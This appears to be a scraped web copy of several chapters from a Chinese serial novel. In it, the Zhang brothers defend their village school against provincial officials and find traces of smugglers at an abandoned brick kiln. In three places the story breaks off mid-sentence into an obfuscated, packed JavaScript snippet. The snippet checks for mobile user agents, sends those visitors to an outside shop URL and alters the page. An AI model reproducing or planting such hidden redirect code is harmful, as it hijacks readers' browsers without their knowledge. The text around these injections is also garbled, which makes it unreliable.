考察持续了一个时辰。临走时，郑督学对张老太爷说：“张公，学堂办得确实不错。省厅会考虑加大支持力度。不过……”他顿了顿，“有些细节，还需要完善。比如安全——我听说，前阵子学堂出过事？” 果然来了。张静轩心里冷笑。 “一点小意外，已经处理了。”张老太爷说。 “那就好。”郑督学微笑，“孩子是国家的未来，安全第一。我会把考察情况如实上报，相信省厅会有进一步指示。” 送走郑督学，卢明远低声说：“这个人……有问题。” “我知道。”张老太爷说，“但他顶着省厅的名头，咱们不能怠慢。静轩，你去查查他的船。” 张静轩和赵哥去了码头。郑督学的船已经走了，但码头上还有痕迹——船停泊时，在淤泥里留下了清晰的印子。赵哥蹲下身仔细看，脸色变了。 “这船……吃水很浅。”他说，“如果是教育厅的公务船，应该载着文件、物资，吃水会深些。但这船的印子，跟上次疤脸汉子那条差不多。” “你是说……” “船是空的，或者只载了人。”赵哥站起来，“他们根本不是来考察，是来探路的。” 探路？探什么路？张静轩想起石场那些枪，想起疤脸汉子扔在码头上的银元。这些人，到底想干什么？ 回到张家，他把发现说了。张老太爷沉吟良久，说：“不管他们想干什么，咱们做好准备。从今晚起，加派人手守塔、守学堂、守码头。另外，通知街坊们，最近少出门，尤其晚上。” 夜幕降临，青石镇进入了高度戒备状态。周大栓和李铁匠组织了四十个青壮，分成四组，每组十人，轮流巡逻。塔的工地上搭了棚子，守夜的人就住在里面，刀、棍、甚至几杆土枪，都准备好了。 学堂那边，苏宛音和程秋实暂时住到了张家——这是张老太爷坚持的，怕他们出事。孩子们放学后，家长直接接回家，不在外逗留。 整个青石镇，像一张绷紧的弓。 夜里，张静轩站在自家院子里，看着远处的文峰塔。塔已经完工了，塔刹在月光下泛着冷光，塔灯还没挂，但塔身已经亮起来了——是守夜人点的灯笼，挂在每一层的飞檐下，远远看去，像一串明珠。 很美，但美得让人心慌。 他知道，这是暴风雨前的宁静。 第二天，省教育厅的公函到了。措辞很客气，肯定了青石镇学堂的办学成绩，但提出了几点“建议”：一是教材需“统一审核”，二是先生资质需“重新认证”，三是学堂安全需“全面评估”。公函末尾说，下周会派工作组进驻，“协助整改”。 “协助整改”——这四个字，意味深长。 张静轩看着公函，冷笑：“终于来了。” “他们要干什么？”卢明远问。 “接管。”张老太爷说得很直接，“先找茬，然后派自己的人进来，慢慢把学堂变成他们的。” “那怎么办？” “拖。”张老太爷说，“拖一天是一天。工作组来了，好好接待，但该做什么还做什么。他们提要求，咱们可以‘研究研究’‘考虑考虑’。官场那套，我也会。” 接下来的几天，青石镇表面平静，但底下暗流汹涌。街坊们都知道了省厅要来人的事，议论纷纷： “好好的学堂，他们凭什么插手？” “还不是眼红咱们办得好！” “听说那个郑督学，是郑副厅长的堂弟……” “难怪！一丘之貉！” 民气愤慨，但无济于事。省厅的公函是正式文件，不能不接。 就在工作组要来的前一天，转机出现了。 傍晚时分，一辆马车驶进青石镇。马车很普通，但赶车的人穿着军装。马车在张家门口停下，车上下来一个人——穿着褪色的军装，左臂缠着绷带，右手拄着拐杖，脸上有伤疤，但眼神明亮。 是大哥。 张静轩正在院子里练箭，看见那个人影，手里的弓掉了。 “大哥……” 张静远拄着拐杖走过来，脚步有些瘸，但很稳。他走到弟弟面前，笑了笑：“静轩，长高了。” 张静轩扑上去抱住大哥，眼泪止不住地流。几年了，他以为再也见不到大哥了。 “别哭。”张静远拍拍他的背，“哥这不是回来了吗？” 张老太爷闻声出来，看见儿子，老泪纵横：“静远……你还活着……” “活着。”张静远说，“受了伤，在医院躺了一个月。伤好了，就请假回来了。” 父子三人抱在一起，久久没分开。 夜里，张家灯火通明。福伯做了满满一桌菜，都是张静远爱吃的。周大栓、李铁匠、陈老秀才、卢明远都来了，苏宛音和程秋实也在。众人围坐一桌，听张静远讲前线的事。 “……那一仗打得很惨，我们连一百二十人，活下来的不到三十个。”张静远声音平静，但握着酒杯的手在抖，“我中了三枪，两枪在腿上，一枪在肩上。倒下去的时候，以为死定了。后来是担架队把我拖下来的，在医院躺了一个月，才捡回条命。” 众人听得心惊。张静轩看着大哥——军装下的身体，瘦了很多，但脊背挺直。脸上的伤疤是新的，从左眉骨划到脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140663|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊，像一条蜈蚣。 “大哥，”他轻声问，“还回去吗？” “回。”张静远说，“伤好了就回。仗还没打完。” 这话说得平淡，但字字千钧。张老太爷的眼眶又红了，但没说什么，只是给儿子夹菜。 饭后，张静轩带大哥去看文峰塔。月光下，塔静静矗立，像守护神。 “塔修好了。”张静轩说，“明天挂塔灯。” “好。”张静远仰头看着，“等灯挂上了，我在前线也能看见。” “大哥，”张静轩忽然问，“你在前线，怕吗？” 张静远沉默片刻：“怕。每次冲锋都怕。但怕也得冲——因为后面就是老百姓，就是像青石镇这样的地方。我们退了，这些地方就没了。” 这话和张静轩在省城年会上说的一样。兄弟俩，在不同的战场，明白了一样的道理。 “对了，”张静远从怀里掏出个小布包，“这个，给你。” 张静轩打开，里面是一枚弹壳，已经磨得发亮，上面刻着字：“守土”。 “这是我从战场上捡的。”张静远说，“刻了字，留个念想。你在后方，也是守土。” 张静轩握紧弹壳。金属冰凉，但很快被体温焐热。 兄弟俩在塔下站了很久，直到夜深。 第二天，挂塔灯的日子。 塔灯是特制的，玻璃罩，铜架子，里面能点三根蜡烛，外面还能防风。工匠们用滑轮把灯吊到塔顶，安装在塔刹下方。张静远亲自上去安装——他虽然腿脚不便，但坚持要上去。 “我在前线，看不见青石镇的灯。”他说，“但我装的灯，前线的人能看见。” 灯装好了。正午时分，张老太爷点燃了第一根蜡烛。火焰跳动，透过玻璃罩，发出温暖的光。 “塔灯亮了——”福伯拉长了声音。 青石镇的人都仰头看着。七层高的塔，塔顶的灯像一颗星星，在白天也清晰可见。风吹过，铜铃叮当作响，混着人们的欢呼声。 就在这时，码头那边传来消息：省教育厅的工作组来了。 一艘官船停在码头，下来五个人，都穿着中山装，提着公文包。为首的是个矮胖的中年人，自称是王组长。 张静轩和父亲去迎接。王组长很客气，但眼神倨傲。 “张公，”他说，“省厅很重视青石镇学堂，特派我们来‘协助’工作。这是我们的任命书。” 任命书上盖着省教育厅的红章，确实是真的。 “欢迎。”张老太爷说，“不过今天塔灯初亮，镇上有庆祝活动。工作的事，可否明日再谈？” 王组长看了看远处的人群，又看了看高耸的文峰塔，点头：“也好。那就明日。” 工作组被安排在镇公所的客房住下。张静轩派人暗中盯着——他发现，工作组的人虽然表面客气，但私下里在悄悄打听青石镇的情况，尤其是学堂的经费来源、先生背景、学生家庭。 果然来者不善。 夜里，张静轩和大哥在书房商量。 “他们是冲着学堂来的。”张静轩说，“想接管，或者……搞垮。” “那就让他们接不了，也垮不了。”张静远说，“我在前线打仗，知道一个道理——最好的防守，是进攻。” “怎么进攻？” 张静远笑了，笑容里有些狡黠：“明天，我带他们去塔上看看。” 第二天，王组长带着工作组来到学堂。他们检查了教材，翻看了教案，又听了苏宛音和程秋实的课。整个过程很正式，但挑不出毛病——学堂的一切都合规。 课后，张静远拄着拐杖出现了。他穿着军装，虽然腿脚不便，但军人的气质掩盖不住。 “王组长，”他敬了个军礼，“我是张静远，青石镇人，在前线当兵。听说省厅来人考察学堂，我想请各位去塔上看看——从塔顶看青石镇，看得清楚。” 王组长一愣，但不好拒绝。 一行人上了塔。塔有七层，楼梯很窄，爬起来费力。王组长爬到第三层就喘气了，但张静远腿脚不便，却爬得很稳。 到了塔顶，视野豁然开朗。整个青石镇尽收眼底——青云河像条玉带，码头像带子上的扣子，学堂的屋顶青灰一片，街巷纵横，炊烟袅袅。 “王组长，”张静远指着远处，“您看，那就是我们的学堂。那里有二十八个孩子，他们的父母，有的是船工，有的是铁匠，有的是卖豆腐的。他们送孩子来读书，不是想让孩子当官发财，是想让孩子识几个字，明几个理，将来活得有尊严。” 王组长没说话。 “我在前线打仗，”张静远继续说，“每天都有兄弟倒下。我们为什么打？就是为了让像青石镇这样的地方，能安安稳稳地过日子，让孩子能安安稳稳地读书。” 他转过身，看着王组长：“省厅要‘协助’办学，我们欢迎。但要是想把这所学堂变成某些人的工具，或者想毁了它——”他顿了顿，“青石镇的老百姓不答应，我在前线的兄弟们，也不答应。” 这话说得硬气。王组长脸色变了变，但强笑道：“张先生误会了，我们真是来帮忙的……” “那就好。”张静远笑了，“那请王组长回去禀报：青石镇学堂，会一直办下去。不管谁来，不管什么理由，都办下去。” 从塔上下来，工作组的脸色都不好看。当天下午，他们就收拾东西走了，说“考察结束，回去汇报”。 官船离开码头时，张静轩和大哥站在岸边看着。 “他们会善罢甘休吗？”张静轩问。 “不会。”张静远说，“但至少，他们知道青石镇不是软柿子。下次再来，会掂量掂量。” 官船渐行渐远，最后消失在青云河的拐弯处。 张静轩松了口气。这场危机，暂时过去了。 但大哥说得对——不会善罢甘休。黑暗不会消失，只会换种方式再来。 但没关系。 只要塔在，灯在，学堂在，青石镇的人心在。 他们就不怕。 兄弟俩并肩站着，看着青云河奔流不息。 河水带走了官船，也带走了暂时的危机。 22. 第二十三章 暗流再起 官船的影子彻底消失在青云河拐弯处，水面只余下几道渐渐平复的涟漪。张静轩站在码头的青石阶上，久久没有挪步。秋日的风从河面刮来，带着水腥气和隐约的寒意，吹得他藏青学生装的衣摆微微拂动。 张静远拄着拐杖，侧头看了弟弟一眼。这位在战场上淬炼过的青年军官，脸上虽还带着伤后的苍白，但眼神已恢复了往日的锐利。他伸手拍了拍静轩的肩膀：“回吧。风大了。” 两人转身往镇里走。福伯赶着马车等在路边，见他们过来，忙撩开车帘。张静远摆摆手：“走走，活动活动腿脚。” 于是三人沿着河堤慢慢走。午后阳光斜照，将三人的影子拉得细长。河堤上种着一排柳树，叶子已黄了大半，风一吹，簌簌地落。几个孩童在树下捡落叶，用草茎串成串，嬉笑声清脆。 “大哥，”张静轩终于开口，“塔上那些话……你是真那么想，还是说给王组长听的？” 张静远笑了笑，那笑容里有种经历过生死的人才有的透彻：“真假掺半。在前线，每天看着兄弟倒下，确实会想——我们拼了命，到底为的是什么？后来想明白了，为的就是让后方这样的地方，能安安生生地过日子。” 他顿了顿，拐杖点在青石板上，发出笃笃的轻响：“但说给王组长听的那些，也不全是场面话。青石镇这所学堂，现在不只是一所学堂了。它是个象征——象征着在这乱世里，还有人愿意为未来播种。” 张静轩默默听着。大哥离家那年，他才十二岁，对这位兄长的记忆还停留在那个会偷偷教穷孩子识字、会拉得一手好弓的年轻人。三年过去，大哥身上多了些他看不懂的东西——不是沧桑，而是一种沉淀下来的坚硬。 “大哥，你的腿……”他忍不住问。 “弹片伤，没伤到骨头，但筋络受损。”张静远说得轻描淡写，“养几个月就好。正好，在家陪陪爹娘，也看看你办的学堂。” 这话说得自然，但张静轩听出了其中的深意——大哥这次回来，恐怕不止是养伤那么简单。 走到镇口，遇见周大栓挑着两筐鱼从码头方向来。看见张家兄弟，他放下担子，用汗巾擦了把脸：“大少爷，小少爷，那帮官老爷走了？” “走了。”张静远点头。 周大栓啐了一口：“什么玩意儿！俺今早在码头看见他们上船，一个个脸拉得老长，准没憋好屁。” 张静远笑了：“周叔眼毒。” “不是眼毒，是见多了。”周大栓重新挑起担子，“这些年，来青石镇的官儿，一拨接一拨，有真办事的，有混日子的，还有专门来捞油水的。这回这几个，看着就不像善茬。” 他说完，又压低声音：“大少爷，您刚回来，可能还不知道——前阵子镇上来了几个生面孔，在码头、货栈转悠，打听事儿。俺问过，说是省城来的商人，可那做派，不像买卖人。” 张静远眼神一凝：“什么时候的事？” “就这两天。”周大栓说，“俺留了个心眼，让码头的兄弟盯着。昨儿下午，那几个人在‘悦来茶馆’二楼包间，待了一个多时辰。出来时，跟镇公所的赵干事碰了个头。” 赵干事？张静轩心头一动。赵全福倒台后，镇公所清理了一批人，但这个赵干事——赵明德，是赵全福的远房侄子，因为没查出直接涉案证据，只是调了个闲职。没想到…… “周叔，谢了。”张静远从怀里掏出两块银元，“这点钱，给水生添件冬衣。天快冷了。” 周大栓连连摆手：“使不得使不得！水生上学，已经是张老爷天大的恩情了……” “收着。”张静远将银元塞进他手里，“不是恩情，是酬劳。您这消息，值这个价。” 周大栓眼眶红了，深深一揖，挑着担子走了。那背影在秋阳里，肩背微驼，但脚步扎实。 三人继续往家走。张静轩低声问：“大哥，你觉得赵明德……” “苍蝇不叮无缝的蛋。”张静远淡淡道，“赵全福倒了，他那一系的人，不会甘心。现在省厅来人，他们觉得机会来了。” “那咱们怎么办？” “等。”张静远说，“等他们动。现在动，打草惊蛇。” 回到家时，已近傍晚。张夫人正在院里收晾晒的药材——张家除了布施，偶尔也免费为穷苦人家看诊，这些药材都是备着的。看见两个儿子一起回来，她脸上露出笑容：“正好，厨房炖了鸡汤，给你们补补。” 晚饭时，张老太爷也回来了。老人家今日去了趟镇公所，处理学堂的账目——虽然省厅说“协助”，但该走的程序还得走。席间，张静远把周大栓说的事提了。 张老太爷放下筷子，沉吟片刻：“赵明德这个人……我留意过。能力平平，但心思活络。赵全福在时，他跟着捞了些好处，但没涉核心。如今失势，心里有怨，也正常。” “爹觉得他会做什么？”张静远问。 “做不了大事。”张老太爷摇头，“但小人作祟，最是麻烦。他会盯着学堂，找纰漏，找把柄，然后往上捅。” 张静轩想起王组长在塔上的神情——那种表面客气、实则疏离的眼神。如果赵明德真去省厅递什么“材料”，难保不会有人借题发挥。 “爹，我想……”他开口，“把学堂的账目、教案、学生名册，全部整理一份副本，送到省城李教授那儿。” 张老太爷眼睛一亮：“留底？” “对。”张静轩点头，“真金不怕火炼。他们想查，就让他们查。但咱们得有准备——所有的东西，都要清清楚楚，经得起查。” 张静远赞许地看了弟弟一眼：“长大了。” 张夫人却忧心忡忡：“可这么一来，不是更招眼吗？” “娘，”张静远温声道，“有些事，不是躲就能躲过去的。咱们越坦荡，他们越没辙。” 这事就这么定了。饭后，张静轩去了书房，开始整理资料。账目是福伯在管，一笔笔记得清楚；教案是苏宛音和程秋实的心血，工整详尽；学生名册上，二十八个名字后面，都附了家访记录——谁家什么情况，为什么上学，写得明明白白。 他一边整理，一边誊抄。油灯的光晕在纸面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140664|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上铺开，墨香混着秋夜微凉的气息。窗外，更夫的梆子声由远及近，又由近及远。三更天了。 张静远拄着拐杖推门进来，手里提着的食盒装了两碗热汤圆：“娘让送来的，说熬夜伤身。” 兄弟俩对坐吃着。汤圆是芝麻馅的，甜而不腻，热乎乎地暖着肠胃。 “静轩，”张静远忽然说，“你怕吗？” 张静轩抬头：“怕什么？” “怕这些事——官场的倾轧，暗中的算计，还有……可能来的更大的风波。” 张静轩沉默了一会儿，诚实地说：“怕。但怕也得做。” 张静远笑了：“这话，像咱们张家人说的。” 他放下碗，又拄着拐杖走到书柜前，抽出那本《山河图》的册子——这次不是画，是大哥从前线寄回的家书合集。翻开，里面夹着一张泛黄的照片。是兄弟俩小时候的合影，都穿着小马褂，站在老槐树下，笑得没心没肺。 “我离家那年，你十二岁。”张静远看着照片，“那时我就想，这弟弟，被保护得太好了，将来怎么办？现在看，是我多虑了。” 张静轩接过照片，指尖摩挲着上面的笑脸。那个无忧无虑的自己，好像已经很久远了。 “大哥，”他轻声问，“前线……到底什么样？” 张静远沉默了很久。书房里只有油灯燃烧的噼啪声。 “尸山血海。”他最终说，声音很轻，像怕惊动什么，“我第一次上战场，是夜里突袭。天黑得伸手不见五指，只能凭声音判断。子弹从耳边飞过，噗噗的，像雨点。有人中弹了，闷哼一声，就倒下去。你甚至不知道他是谁。” 他顿了顿：“后来天亮了，看见阵地上的情景——到处是尸体，有的完整，有的残缺。血把泥土都浸透了，踩上去黏糊糊的。那时候我就想，人为什么要有战争？” 张静轩屏住呼吸。 “后来想明白了。”张静远转过身，看着弟弟，“因为有些人，不让你好好活。你退一步，他就进一步；你再退，他就把你逼到绝境。所以不能退，一步都不能。” 他走到窗前，推开一条缝。夜风吹进来，带着深秋的寒意。 “青石镇这所学堂，现在就是前沿阵地。你在守，我在守，爹在守，苏先生程先生在守，街坊们也在守。咱们守的，不止是一所学堂，是一个念想——在这乱世里，人还能读书，还能明理，还能有尊严地活着的念想。” 张静轩感到眼眶发热。他用力点头：“我明白。” “明白就好。”张静远拍了拍他的肩，“早点睡。明天，还有很多事要做。” 兄弟俩吹熄灯，各自回房。张静轩躺在床上，却毫无睡意。大哥的话在耳边回响，混着更夫的梆子声，一下，又一下，敲在青石镇的夜色里。 他忽然想起秦怀安说过的话：“种子已种，小心风雨。” 现在，风雨真的要来了。 而他，必须长得更结实些，才能护住那些刚破土的嫩芽。 窗外，月亮隐入云层。天边隐隐有雷声滚动——是要下雨了吗？ 23. 第二十四章 新芽与旧根 第二日清晨，雨果然来了。不是淅淅沥沥的秋雨，而是冬前最后一场急雨，豆大的雨点砸在瓦片上，噼啪作响。张静轩醒来时，院子里已积了水，檐下的水帘连成一片。 他匆匆洗漱，穿上福伯备好的蓑衣斗笠，往学堂去。雨太大，马车不便，只能步行。青石板路被雨水冲刷得光亮如镜，倒映着灰蒙蒙的天。 到学堂时，祠堂的门已开了。苏宛音正拿着扫帚清扫门槛处的积水，见张静轩来，抬头笑了笑：“这么大雨，还以为你不来了。” “苏先生不也来了？”张静轩脱下蓑衣，挂在廊下。 程秋实从里面出来，手里端着一盆炭火：“今天天冷，我把炭盆生起来了。孩子们来了能暖和些。” 果然，炭火的红光在昏暗的祠堂里格外温暖。张静轩帮着把桌椅擦干，又检查了窗纸——前阵子新糊的，还算结实，能挡风。 陆陆续续地，学生们来了。水生是第一个，裹着他爹的旧蓑衣，裤脚湿了大半，但脸上带着笑：“静轩哥，苏先生，程先生早！” “快进来烤烤火。”苏宛音接过他的蓑衣，“吃过早饭了吗？” “吃了，俺娘做的窝窝头。”水生从怀里掏出个油纸包，里面还有两个，“给静轩哥和小莲带的。” 正说着，小莲也来了。小姑娘撑着把破油伞，伞骨断了一根，半边身子都湿了。苏宛音忙把她拉过来，用干布给她擦头发。 “你娘好些了吗？”张静轩问。 小莲点头，声音细弱：“好些了。能下床做饭了。”她顿了顿，“苏先生，我爹……来信了。” 她从怀里掏出一封信，信纸已经皱巴巴的，但字迹清晰。小莲识字还不多，但认得“平安”两个字。 苏宛音接过信，轻声念起来。信是小莲父亲从省城写来的，说在码头找到了活，虽然辛苦，但工钱按时发。让女儿好好读书，等他攒够了钱，就回来看她。 小莲听着，眼眶红了，但忍着没哭。苏宛音摸摸她的头：“等你会写字了，就能给爹回信了。” “嗯！”小莲重重点头。 张静轩看着这一幕，心里暖暖的。这就是学堂的意义——不只是教识字算数，更是给这些孩子一个希望，一个与远方亲人连接的念想。 上课钟敲响时，二十八个孩子都到了。虽然个个淋得像落汤鸡，但眼神都很亮。程秋实开始讲国文，今天讲的是《诗经》里的《蒹葭》。 “蒹葭苍苍，白露为霜。所谓伊人，在水一方……”程秋实的声音在雨声里显得格外清朗，“这首诗，写的是追求。不管隔着多远的距离，多少困难，都要去追寻心中的‘伊人’。” 他顿了顿，目光扫过孩子们：“你们的‘伊人’，是什么？” 孩子们面面相觑。水生举手：“俺的‘伊人’……是让俺爹娘过上好日子。” 小莲小声说：“是……是让爹早点回来。” 铁蛋挠挠头：“是……是学好手艺，将来开个铁匠铺，比俺爹的还大。” 程秋实笑了：“都对。读书，就是为了让你们有能力去追寻这些‘伊人’。” 课继续着。雨声成了背景音，衬得祠堂里的读书声更显珍贵。张静轩坐在后排，一边听课，一边整理昨天没弄完的资料。他要誊抄三份——一份留底，一份送省城李教授，一份……他想了想，决定再备一份，存在赵秀才的书院。鸡蛋不能放在一个篮子里。 午休时，雨小了些。学生们在祠堂里吃自带的干粮。水生把窝窝头分给张静轩和小莲，自己啃着半块硬饼。张静轩把自己带的烙饼分他一半，水生嘿嘿笑着接了。 “静轩哥，”水生边吃边说，“昨儿俺爹说，码头又来了条怪船。” “怎么怪？” “不是货船，也不是客船，就一条小舢板，夜里来的，天没亮就走了。”水生压低声音，“船上的人，说话腔调怪，不像咱们这儿的，也不像省城的。” 张静轩心头一动：“听见说什么了吗？” “离得远，听不清。但俺爹说，那些人上岸后，往镇西方向去了。” 镇西？那里除了废弃的磨坊，就是……张静轩忽然想起什么——镇西五里外，有个早年废弃的砖窑。马三的账本里，好像提过那个地方。 他不动声色：“你爹还看见什么？” “就这些。”水生说，“不过俺爹留了心，在码头留了记号。要是那船再来，能认出来。” 张静轩拍拍他的肩：“告诉你爹，小心些。有什么情况，先别声张，来找我或者我大哥。” 水生点头：“俺晓得。” 下午的算学课，苏宛音教的是分数。她用苹果做例子，切成四份、八份，讲解“一半”“四分之一”的概念。孩子们看得认真，连最调皮的小子都瞪大眼睛。 张静轩看着苏宛音的背影。这个年轻的女子，从省城来到青石镇，承受着压力、非议，甚至危险，却依然站在这三尺讲台上，用最朴素的方式，为这些孩子打开一扇窗。 她图的什么？ 也许，图的就是此刻孩子们眼中那点光。 放学时，雨彻底停了。天空洗过一般，蓝得透亮。阳光从云缝里漏下来，照在湿漉漉的青石板上，泛着金光。孩子们欢呼着冲出去，在积水里踩出水花。 张静轩收拾好东西，准备去赵秀才的书院。刚走出祠堂，就看见大哥张静远拄着拐杖，站在老槐树下，正仰头看什么。 “大哥？”张静轩走过去。 张静远指了指树梢：“你看。” 张静轩抬头。老槐树的叶子已经落了大半，但在最高的枝桠上，居然有个鸟窝。两只喜鹊正在窝边忙碌，衔着树枝加固。 “这季节了，还筑巢？”张静轩有些意外。 “反常。”张静远说，“但鸟比人敏感。它们敢在这时候筑巢，说明觉得这儿安全。” 他顿了顿，看向学堂：“人也一样。觉得安全了，才敢扎根，才敢生长。” 张静轩明白了大哥的意思。青石镇这所学堂，就是那个巢。现在，有鸟敢来筑窝了——不管是真的喜鹊，还是象征意义上的“新芽”。 “走吧。”张静远转身，“陪我去个地方。” “去哪儿？” “砖窑。” 兄弟俩往镇西走。雨后的小路泥泞难行，张静远的腿脚不便，走得慢。张静轩想扶他，被他摆摆手拒绝了：“自己走，练练。” 一路上，张静远问了学堂的许多细节——学生的家庭情况，教学的进度，街坊们的态度。张静轩一一说了。 “苏先生和程先生，”张静远忽然问，“他们……有离开的打算吗？” 张静轩一愣：“没听他们提过。大哥怎么问这个？” “省城那边，压力不会小。”张静远说，“王组长回去，肯定不会说好话。接下来，可能会有更多麻烦。苏先生背景敏感，程先生年轻气盛，我怕他们……扛不住。” 这话说得实在。张静轩沉默了。他不是没想过这个问题，但总抱着侥幸——也许，事情不会那么糟。 “如果真到了那一步，”张静远看穿了他的心思，“你得有准备。学堂不能倒，先生可以换，但魂不能散。” “魂？” “青石镇百姓自己办学的魂。”张静远说，“这魂要是散了，学堂就真成空壳了。” 张静轩重重点头。他明白了——学堂的真正根基，不是张家出的钱，不是省厅批的文，而是街坊们凑钱时的那份心，是孩子们风雨无阻来上学的那股劲。 走到砖窑时，太阳已经西斜。这座废弃的窑场占地不小，几座砖窑像巨大的坟包，矗立在荒草丛中。窑口黑洞洞的，像张开的嘴。 张静远拄着拐杖绕着砖窑走了一圈，在第三座窑的入口处停下。他蹲下身，用手扒开窑口的杂草——那里有新鲜的脚印，不止一个人的。 “果然。”他站起身，拍拍手上的土，“有人来过，而且不止一次。” 张静轩也看到了。脚印很乱，但能分辨出至少三种不同的鞋底纹路。其中一种，他见过——在磨坊的地窖里，马三同伙留下的。 “是陈继业的人？”他低声问。 “可能。”张静远说，“也可能是……别的人。” 他从怀里掏出个小本子——是张静轩从省城带回的那本，上面有陈继业可能的藏身点。翻到其中一页，指着上面的字：“你看这个。” 张静轩凑过去看。那一页写着：“砖窑，旧时走私中转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140665|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站，有地下仓库。” “地下仓库？”他一惊。 “早年走私盐铁的，常在砖窑下面挖地窖。”张静远说，“砖窑高温，能掩盖气味，而且地形复杂，容易藏身。” 他收起本子，环视四周：“如果陈继业真在省城藏了什么要紧东西，可能会转移到这里。毕竟，最危险的地方，就是最安全的地方——谁都想不到，他会把东西藏回青石镇。” 这个推测合理。张静轩感到脊背发凉。如果真是这样，那青石镇就又被卷进漩涡中心了。 “那咱们……” “先别动。”张静远说，“盯着。如果真有人来取东西，咱们就……”他顿了顿，“来个人赃俱获。” 兄弟俩又在砖窑周围转了转，没发现更多线索。天色渐暗时，他们往回走。夕阳把两人的影子拉得很长，投在泥泞的小路上。 “静轩，”张静远忽然说，“你知道我这次回来，最大的感触是什么吗？” “什么？” “青石镇没变，但人变了。”张静远的声音在暮色里显得悠远，“周大栓以前只是个闷头干活的船工，现在会留心陌生人了；李铁匠以前只顾着打铁，现在知道护着学堂了；连陈老秀才，那个最古板的老先生，都捐书捐字了。” 他停下脚步，看着弟弟：“这些人变了，是因为你们——你，苏先生，程先生，还有爹，做了该做的事。你们让他们看见了另一种可能——人可以不认命，可以读书，可以改变。” 张静轩鼻子一酸。这些话，他从没听人说过。街坊们的支持，他总觉得是理所当然的——办学是好事，大家自然支持。但现在他明白了，那不是理所当然，那是用一点一滴的努力换来的信任。 “大哥，”他轻声说，“我有时候会怕……怕自己做不好。” “怕就对了。”张静远笑了，“不怕的人，要么是傻子，要么是疯子。但怕归怕，事还得做。这就是担当。” 他拍拍弟弟的肩：“你做得很好。比我十五岁时，好得多。” 兄弟俩继续往前走。镇上的灯火陆续亮起来，炊烟袅袅升起，混着晚饭的香气。这是青石镇最寻常的黄昏，但张静轩觉得，这寻常里，有不寻常的力量。 回到家，福伯说赵秀才来过了，留了话——书院最近收到几本“奇怪的书”，问张静轩有没有空去看看。 “奇怪的书？”张静轩问。 “说是讲‘主义’的。”福伯压低声音，“赵秀才不敢留，又舍不得扔，想请你拿主意。” 张静轩明白了。这些年，各种新思潮涌进来，有些书确实敏感。赵秀才一个前清秀才，胆小，但爱书如命，左右为难。 “我明天去。”他说。 晚饭后，张静轩照例去书房整理资料。今天誊抄的是学生家访记录。翻到小莲那一页，他停下来—— “王小莲，女，八岁。父王有田，在省城码头务工，三月未归。母周氏，肺痨，卧床。家住镇西河边草房，家徒四壁。小莲聪慧，识字快，但性格怯懦。苏先生家访后，送药三次，垫付束脩。其母泣谢。” 短短几行字，背后是一个家庭的艰难。张静轩想起小莲今天说“爹来信了”时眼中的光。那封信，也许就是支撑这个孩子继续读书的全部力量。 他提笔，在这页的空白处加了一句：“十一月五日，其父来信报平安。小莲喜极，读书更勤。” 然后继续往下誊抄。水生的、铁蛋的、其他孩子的……每一页，都是一个故事，一段人生。这些故事现在还很单薄，但有了学堂，有了识字的机会，将来也许会不一样。 也许水生真能让爹娘过上好日子，也许小莲真能给爹写回信，也许铁蛋真能开个比爹还大的铁匠铺。 也许。 就为这一个个“也许”，这所学堂，值得守下去。 誊抄完，已是深夜。张静轩吹熄灯，走到窗前。月色很好，清清冷冷地照着庭院。远处祠堂的方向，一片黑暗——学堂睡了，孩子们睡了，青石镇睡了。 但他知道，在这睡眠之下，有什么东西在生长。 像老槐树上那对筑巢的喜鹊，像砖窑里可能藏着的秘密，像孩子们心里刚点燃的火苗。 这一切，都需要守护。 24. 第二十五章 书与火 清晨青石镇的石板路被洗得发亮。张静轩踩着湿漉漉的街道往书院走，手里提着福伯备好的食盒——里面是几样点心，给赵秀才的谢礼。 书院的门照例虚掩着。推门进去，那股熟悉的陈年纸张与墨锭混合的气味扑面而来。赵秀才正趴在柜台后，鼻梁上的圆框眼镜滑到了鼻尖，手里拿着一本书，眉头紧锁。 “赵先生。”张静轩轻声唤道。 赵秀才猛地惊醒，眼镜差点掉下来。看清来人，他忙扶正眼镜，站起身：“静轩啊，来了来了。”他四下看了看，压低声音，“那几本书……在里间。” 两人走进里间。那是赵秀才存放珍本的地方，不大，只容得下一张书桌和两架书柜。书桌上摊着五本小册子，纸张粗糙，印刷模糊，显然是私下流传的。 张静轩拿起最上面一本。封面上印着两个大字：《新潮》。翻开扉页，是一篇题为《劳工神圣》的文章。再翻，还有《妇女解放》《科学救国》……都是近年省城学界讨论的话题，但在青石镇这样的地方，显得格外刺眼。 “哪儿来的？”张静轩问。 